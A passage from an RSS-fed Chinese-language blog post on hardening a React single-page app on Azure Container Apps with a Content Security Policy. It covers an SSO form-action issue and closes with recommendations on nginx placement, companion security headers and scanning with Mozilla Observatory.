<p class="wp-block-paragraph"><strong>原因</strong>：第三方 SSO 是由外部伺服器 redirect 瀏覽器 POST 到我們的 callback（form submit 跨站）。<br><strong>確認</strong>：這是第三方 SSO 頁面的 <code>form-action</code>，不是我們這邊的 CSP 設定問題。CSP 加在我們頁面的回應，不影響來自其他頁面的 form submit。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">七、結論</h2>



<p class="wp-block-paragraph">對於 Azure 上的 React SPA：</p>



<ol class="wp-block-list">
<li><strong>現在就可以加</strong>：資源全 self-hosted + 無 inline script，加 CSP 的風險很低</li>



<li><strong>加在 nginx</strong>：比 Application Gateway 更容易維護，可版控，redeploy 即生效</li>



<li><strong>接受 <code>style-src 'unsafe-inline'</code></strong>：這是 Mantine 的現實限制，不影響最重要的 script XSS 防護</li>



<li><strong>配套加其他標頭</strong>：<code>X-Content-Type-Options</code>、<code>X-Frame-Options</code>、<code>Referrer-Policy</code>、<code>Permissions-Policy</code> 是低成本高效益的防護</li>



<li><strong>上線後立刻掃描</strong>：用 Mozilla Observatory 驗證，確認等級達到 B 或以上</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><em>場景：Azure Container Apps 上的 React SPA 安全加固</em></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/06/azure-content-security-policy-csp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
